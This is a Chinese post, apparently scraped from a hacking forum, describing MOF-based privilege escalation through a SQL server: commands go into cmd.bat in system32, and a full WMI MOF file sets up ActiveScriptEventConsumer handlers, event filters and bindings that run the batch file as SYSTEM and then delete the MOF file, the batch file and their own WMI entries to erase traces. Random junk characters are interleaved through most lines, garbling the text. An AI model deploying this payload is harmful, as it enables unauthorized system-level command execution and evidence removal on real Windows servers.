这个sql提权MOF需要运行 system下的文件,不能定义路径。
$ ~9 A, A: c( K0 `需要将要运行的命令写入到bat上传到system32目录,然后执行。
- y1 V5 b M) r; R6 g$ b1 H8 y: X0 p
这个sql提权MOF需要运行 system下的文件,不能定义路径。+ \, \# T1 \9 `
需要将要运行的命令写入到bat上传到system32目录,然后执行。1 h' V) ]; k1 x: z, F
& D( r5 E7 ^2 c; @3 F
#pragma
- o# l, |3 v- G+ }& I+ q6 i namespace("\\\\.\\root\\cimv2")' }8 Y% q4 z1 ^) z$ p7 T
class3 M( ~* P$ z1 Y
MyClass547) K# w( a8 Y- t, W ]9 `
{ [key]/ N* ]% x R( _
string6 w* E% Z+ P f' O2 ?* m+ [8 o
Name;' l5 ~: p) B( I$ ?: r* m$ Q
};( w: E4 }) L% D6 j1 N
class
- e+ U4 s' Q; s5 z, ]0 G1 ] ActiveScriptEventConsumer
( s1 `$ y; c9 g& k! C# i : __EventConsumer { [key], e" b# e7 I8 I( Y! i! j
string
0 R% a/ m: S4 }) g( r- w& W( N; Q Name; [not_null]
$ W6 s, r) ~: C: }" r string& a) H0 F2 s. ^6 z
ScriptingEngine; string
" {( Q G% R$ Q& {) ~8 i ScriptFileName; [template]
2 w6 T- P, \" Y$ r8 U, j string
7 Z; M: J# `1 g5 l ScriptText; uint32 KillTimeout;
4 e/ m0 S2 B4 V, u0 { }; instance of __Win32Provider as $P {
; J" u* [+ [ K, j% e Name; Z+ K; L9 A$ s5 R7 n2 a
=
5 o* N- G0 N% m ?' J "ActiveScriptEventConsumer"; CLSID =/ b4 F- K$ z' @* S- j
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";+ j: n5 L( {" l# H
PerUserInitialization) Q9 S+ G+ c! d, K+ o# q" Z
= TRUE;
$ m5 n3 g# k# d- F2 \) O }; instance of __EventConsumerProviderRegistration { Provider
$ y2 {6 Y: y4 H' X, B1 @. d = $P; ConsumerClassNames
" g l0 | B8 H g g& c$ k0 O' p u =+ s' e! |5 V1 j- |) s
{"ActiveScriptEventConsumer"};
, X" ?- a9 ]2 W |2 B3 r };
5 Y9 B- Y& X! B ]2 T3 b Instance of ActiveScriptEventConsumer
6 g- b" }1 Q$ H; [2 L" E as $cons { Name
# Z }: Y6 G; e0 p k =
9 d$ q1 ~; j* L% Y2 q "ASEC"; ScriptingEngine
b% l/ f! @+ p. W) K =
- f2 e6 r. a0 q! o "JScript"; ScriptText
& s. E! a: e$ u! K =
* H$ s- E$ }# ?( y$ s "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
; {4 l: @( A( p0 A$ _! |3 k( ?4 g1 M Instance of ActiveScriptEventConsumer. B! N1 t& M5 s$ \
as $cons2 { Name8 o0 h3 D% l# g
=; E- C% |) {# x/ V
"qndASEC"; ScriptingEngine
: O+ G7 s* i5 l! _8 O. N =
8 X8 U2 ~9 r, s6 v' K% F "JScript"; ScriptText
: _+ m% m. V1 N% I8 X2 ~. N =
3 N4 p9 N# ^2 ]) S8 d0 L# T5 n "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
5 ]/ L' D0 o& e! W4 J2 E3 W }; instance of __EventFilter as $Filt { Name
7 Q7 x& u! d9 ~& p =0 H) }$ Q5 ~3 M; d2 v& M5 }
"instfilt"; Query" t+ t& W/ \0 ]: q
=
+ B# L8 y+ I6 e" }# g "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage% y- {3 }+ D: {( `: Y
=! H' d9 ^2 S3 z' k7 D
"WQL"; }; instance of __EventFilter as $Filt2 { Name: X" B& B; f% t& g4 t% U( p$ x) e$ E& Z
=
6 x U7 f! h) d( e "qndfilt"; Query
- n% T, N, a. s; C =/ K5 B* |( i; _8 f! l f
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage& c c) @- n/ F9 V! v% {9 e; Q
=! Y4 l0 f& ?; ^1 _; C
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer7 ]0 l+ \9 i2 E
= $cons; Filter: F1 i0 k8 b' X) I6 H
= $Filt;
7 ?' _. Z# `$ @' O) v- } }; instance of __FilterToConsumerBinding as $bind2 { Consumer- e6 | ^6 o8 \- k( n
= $cons2; Filter
6 ~$ @& d2 k8 `# e2 l = $Filt2;: n- D( \- g L& ]( o& f% K
}; instance of MyClass547
' _) B# I9 b& Y3 R+ L4 x6 d/ q as $MyClass { Name/ q1 t2 _5 D" q% g" {* L
=, `# m$ _" @6 T; U2 k3 L
"ClassConsumer";
6 K- j+ g" B7 R# O) s }; |